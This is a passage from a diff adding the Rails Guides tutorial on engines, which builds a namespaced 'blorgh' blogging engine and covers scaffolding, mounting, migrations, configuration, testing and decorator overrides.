+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). This guide will refer to them simply as "engines" throughout. An
+engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The
+engine will provide blogging functionality to its host applications, allowing
+for new posts and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`posts_path` and use an engine also that provides a path also called
+`posts_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in the universe (with the universe being the
+application's environment) where the engine should only be enhancing it, rather
+than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Forem](https://github.com/radar/forem), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
+
+Generating an engine
+--------------------
+
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
+
+```bash
+$ bin/rails plugin new blorgh --mountable
+```
+
+The full list of options for the plugin generator may be seen by typing:
+
+```bash
+$ bin/rails plugin --help
+```
+
+The `--full` option tells the generator that you want to create an engine,
+including a skeleton structure that provides the following:
+
+  * An `app` directory tree
+  * A `config/routes.rb` file:
+
+    ```ruby
+    Rails.application.routes.draw do
+    end
+    ```
+
+  * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+  * standard Rails application's `config/application.rb` file:
+
+    ```ruby
+    module Blorgh
+      class Engine < ::Rails::Engine
+      end
+    end
+    ```
+
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option, and will add:
+
+  * Asset manifest files (`application.js` and `application.css`)
+  * A namespaced `ApplicationController` stub
+  * A namespaced `ApplicationHelper` stub
+  * A layout view template for the engine
+  * Namespace isolation to `config/routes.rb`:
+
+    ```ruby
+    Blorgh::Engine.routes.draw do
+    end
+    ```
+
+  * Namespace isolation to `lib/blorgh/engine.rb`:
+
+    ```ruby
+    module Blorgh
+      class Engine < ::Rails::Engine
+        isolate_namespace Blorgh
+      end
+    end
+    ```
+
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
+
+```ruby
+mount Blorgh::Engine, at: "blorgh"
+```
+
+### Inside an Engine
+
+#### Critical Files
+
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "vendor/engines/blorgh"
+```
+
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
+
+```ruby
+require "blorgh/engine"
+
+module Blorgh
+end
+```
+
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within `lib/blorgh/engine.rb` is the base class for the engine:
+
+```ruby
+module Blorgh
+  class Engine < Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+```
+
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call
+to `bin/rails g model`, such as `bin/rails g model post`, won't be called `Post`, but
+instead be namespaced and called `Blorgh::Post`. In addition, the table for the
+model is namespaced, becoming `blorgh_posts`, rather than simply `posts`.
+Similar to the model namespacing, a controller called `PostsController` becomes
+`Blorgh::PostsController` and the views for that controller will not be at
+`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
+
+```bash
+$ bin/rails g model
+```
+
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
+
+#### `test` Directory
+
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
+
+```ruby
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+```
+
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
+
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
+
+Providing engine functionality
+------------------------------
+
+The engine that this guide covers provides posting and commenting functionality
+and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
+
+### Generating a Post Resource
+
+The first thing to generate for a blog engine is the `Post` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
+
+```bash
+$ bin/rails generate scaffold post title:string text:text
+```
+
+This command will output this information:
+
+```
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_posts.rb
+create    app/models/blorgh/post.rb
+invoke    test_unit
+create      test/models/blorgh/post_test.rb
+create      test/fixtures/blorgh/posts.yml
+invoke  resource_route
+ route    resources :posts
+invoke  scaffold_controller
+create    app/controllers/blorgh/posts_controller.rb
+invoke    erb
+create      app/views/blorgh/posts
+create      app/views/blorgh/posts/index.html.erb
+create      app/views/blorgh/posts/edit.html.erb
+create      app/views/blorgh/posts/show.html.erb
+create      app/views/blorgh/posts/new.html.erb
+create      app/views/blorgh/posts/_form.html.erb
+invoke    test_unit
+create      test/controllers/blorgh/posts_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/posts_helper.rb
+invoke      test_unit
+create        test/helpers/blorgh/posts_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/posts.js
+invoke    css
+create      app/assets/stylesheets/blorgh/posts.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+```
+
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_posts` rather than the
+usual `create_posts`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due
+to the `isolate_namespace` call within the `Engine` class.
+
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/post_test.rb` (rather than
+`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml`
+(rather than `test/fixtures/posts.yml`).
+
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :posts`, turning the
+`config/routes.rb` file for the engine into this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+  resources :posts
+end
+```
+
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
+
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::PostsController` (at
+`app/controllers/blorgh/posts_controller.rb`) and its related views at
+`app/views/blorgh/posts`. This generator also generates a test for the
+controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper
+(`app/helpers/blorgh/posts_controller.rb`).
+
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
+
+```ruby
+module Blorgh
+  class PostsController < ApplicationController
+    ...
+  end
+end
+```
+
+NOTE: The `ApplicationController` class being inherited from here is the
+`Blorgh::ApplicationController`, not an application's `ApplicationController`.
+
+The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+
+```ruby
+module Blorgh
+  module PostsHelper
+    ...
+  end
+end
+```
+
+This helps prevent conflicts with any other engine or application that may have
+a post resource as well.
+
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/posts.js` and
+`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little
+later.
+
+By default, the scaffold styling is not applied to the engine because the
+engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't
+load it. To make the scaffold styling apply, insert this line into the `<head>`
+tag of this layout:
+
+```erb
+<%= stylesheet_link_tag "scaffold" %>
+```
+
+You can see what the engine has so far by running `rake db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/posts` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
+
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Post` model is namespaced, so to
+reference it you must call it as `Blorgh::Post`.
+
+```ruby
+>> Blorgh::Post.find(1)
+=> #<Blorgh::Post id: 1 ...>
+```
+
+One final thing is that the `posts` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of posts. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
+
+```ruby
+root to: "posts#index"
+```
+
+Now people will only need to go to the root of the engine to see all the posts,
+rather than visiting `/posts`. This means that instead of
+`http://localhost:3000/blorgh/posts`, you only need to go to
+`http://localhost:3000/blorgh` now.
+
+### Generating a Comments Resource
+
+Now that the engine can create new blog posts, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the posts scaffold to display
+comments and allow people to create new ones.
+
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: a `post_id` integer
+and `text` text column.
+
+```bash
+$ bin/rails generate model Comment post_id:integer text:text
+```
+
+This will output the following:
+
+```
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/models/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+```
+
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
+
+```bash
+$ bin/rake db:migrate
+```
+
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and
+add this line before the "Edit" link:
+
+```html+erb
+<h3>Comments</h3>
+<%= render @post.comments %>
+```
+
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Post` model, which there isn't right now. To define one, open
+`app/models/blorgh/post.rb` and add this line into the model:
+
+```ruby
+has_many :comments
+```
+
+Turning the model into this:
+
+```ruby
+module Blorgh
+  class Post < ActiveRecord::Base
+    has_many :comments
+  end
+end
+```
+
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
+
+Next, there needs to be a form so that comments can be created on a post. To add
+this, put this line underneath the call to `render @post.comments` in
+`app/views/blorgh/posts/show.html.erb`:
+
+```erb
+<%= render "blorgh/comments/form" %>
+```
+
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
+
+```html+erb
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+```
+
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/posts/:post_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :posts` line
+inside `config/routes.rb` into these lines:
+
+```ruby
+resources :posts do
+  resources :comments
+end
+```
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
+
+```bash
+$ bin/rails g controller comments
+```
+
+This will generate the following things:
+
+```
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/controllers/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke    test_unit
+create      test/helpers/blorgh/comments_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+```
+
+The form will be making a `POST` request to `/posts/:post_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+
+```ruby
+def create
+  @post = Post.find(params[:post_id])
+  @comment = @post.comments.create(comment_params)
+  flash[:notice] = "Comment has been created!"
+  redirect_to posts_path
+end
+
+private
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
+```
+
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
+
+``` 
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views" 
+```
+
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
+
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
+
+```erb
+<%= comment_counter + 1 %>. <%= comment.text %>
+```
+
+The `comment_counter` local variable is given to us by the `<%= render
+ at post.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
+
+Hooking Into an Application
+---------------------------
+
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for posts and comments within the engine.
+
+### Mounting the Engine
+
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
+
+```bash
+$ rails new unicorn
+```
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
+
+```ruby
+gem 'devise'
+```
+
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "/path/to/blorgh"
+```
+
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
+
+```ruby
+mount Blorgh::Engine, at: "/blog"
+```
+
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
+
+### Engine setup
+
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application use this command:
+
+```bash
+$ bin/rake blorgh:install:migrations
+```
+
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
+
+```bash
+$ bin/rake railties:install:migrations
+```
+
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
+
+```bash
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+```
+
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
+
+To run these migrations within the context of the application, simply run `rake
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+posts will be empty. This is because the table created inside the application is
+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
+
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
+
+```bash
+rake db:migrate SCOPE=blorgh
+```
+
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
+
+```bash
+rake db:migrate SCOPE=blorgh VERSION=0
+```
+
+### Using a Class Provided by the Application
+
+#### Using a Model Provided by the Application
+
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making posts and comments
+have authors would make a lot of sense.
+
+A typical application might have a `User` class that would be used to represent
+authors for a post or a comment. But there could be a case where the application
+calls this class something different, such as `Person`. For this reason, the
+engine should not hardcode associations specifically for a `User` class.
+
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application. It can be generated using this
+command inside the application:
+
+```bash
+rails g model user name:string
+```
+
+The `rake db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
+
+Also, to keep it simple, the posts form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the post with the found or
+created `User` object.
+
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
+
+```html+erb
+<div class="field">
+  <%= f.label :author_name %><br>
+  <%= f.text_field :author_name %>
+</div>
+```
+
+Next, we need to update our `Blorgh::PostController#post_params` method to
+permit the new form parameter:
+
+```ruby
+def post_params
+  params.require(:post).permit(:title, :text, :author_name)
+end
+```
+
+The `Blorgh::Post` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that post's `author`
+before the post is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_save` call into
+`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
+
+```ruby
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_save :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by(name: author_name)
+  end
+```
+
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_posts` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_posts` table.
+
+To generate this new column, run this command within the engine:
+
+```bash
+$ bin/rails g migration add_author_id_to_blorgh_posts author_id:integer
+```
+
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
+
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
+
+```bash
+$ bin/rake blorgh:install:migrations
+```
+
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
+
+``` 
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh 
+```
+
+Run the migration using:
+
+```bash
+$ bin/rake db:migrate
+```
+
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with a post,
+represented by the `blorgh_posts` table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code
+above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+
+```html+erb
+<p>
+  <b>Author:</b>
+  <%= @post.author %>
+</p>
+```
+
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be
+called on the object. By default, this will look quite ugly:
+
+```
+#<User:0x00000100ccb3b0>
+```
+
+This is undesirable. It would be much better to have the user's name there. To
+do this, add a `to_s` method to the `User` class within the application:
+
+```ruby
+def to_s
+  name
+end
+```
+
+Now instead of the ugly Ruby object output, the author's name will be displayed.
+
+#### Using a Controller Provided by the Application
+
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
+
+```ruby
+class Blorgh::ApplicationController < ApplicationController
+end
+```
+
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
+
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
+
+### Configuring an Engine
+
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
+
+#### Setting Configuration Settings in the Application
+
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
+
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
+
+```ruby
+mattr_accessor :author_class
+```
+
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
+
+The next step is to switch the `Blorgh::Post` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/post.rb`) to this:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class
+```
+
+The `set_author` method in the `Blorgh::Post` model should also use this class:
+
+```ruby
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+```
+
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
+
+```ruby
+def self.author_class
+  @@author_class.constantize
+end
+```
+
+This would then turn the above code for `set_author` into this:
+
+```ruby
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+```
+
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
+
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Post`
+model:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class.to_s
+```
+
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
+
+```ruby
+Blorgh.author_class = "User"
+```
+
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with a post when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
+
+#### General Engine Configuration
+
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
+
+If you wish to use an initializer - code that should run before the engine is
+loaded - the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
+
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
+
+Testing an engine
+-----------------
+
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
+
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
+
+### Functional Tests
+
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
+
+```ruby
+get :index
+```
+
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must also pass the `:use_route` option as a parameter on these
+requests:
+
+```ruby
+get :index, use_route: :blorgh
+```
+
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
+
+Improving engine functionality
+------------------------------
+
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
+
+### Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
+
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
+
+#### A note on Decorators and Loading Code
+
+Because these decorators are not referenced by your Rails application itself,
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
+
+Here is some sample code to do this:
+
+```ruby
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    config.to_prepare do
+      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+        require_dependency(c)
+      end
+    end
+  end
+end
+```
+
+This doesn't apply to just Decorators, but anything that you add in an engine
+that isn't referenced by your main application.
+
+#### Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** `Post#time_since_created`:
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+```
+
+
+**Overriding** `Post#summary`:
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  has_many :comments
+  def summary
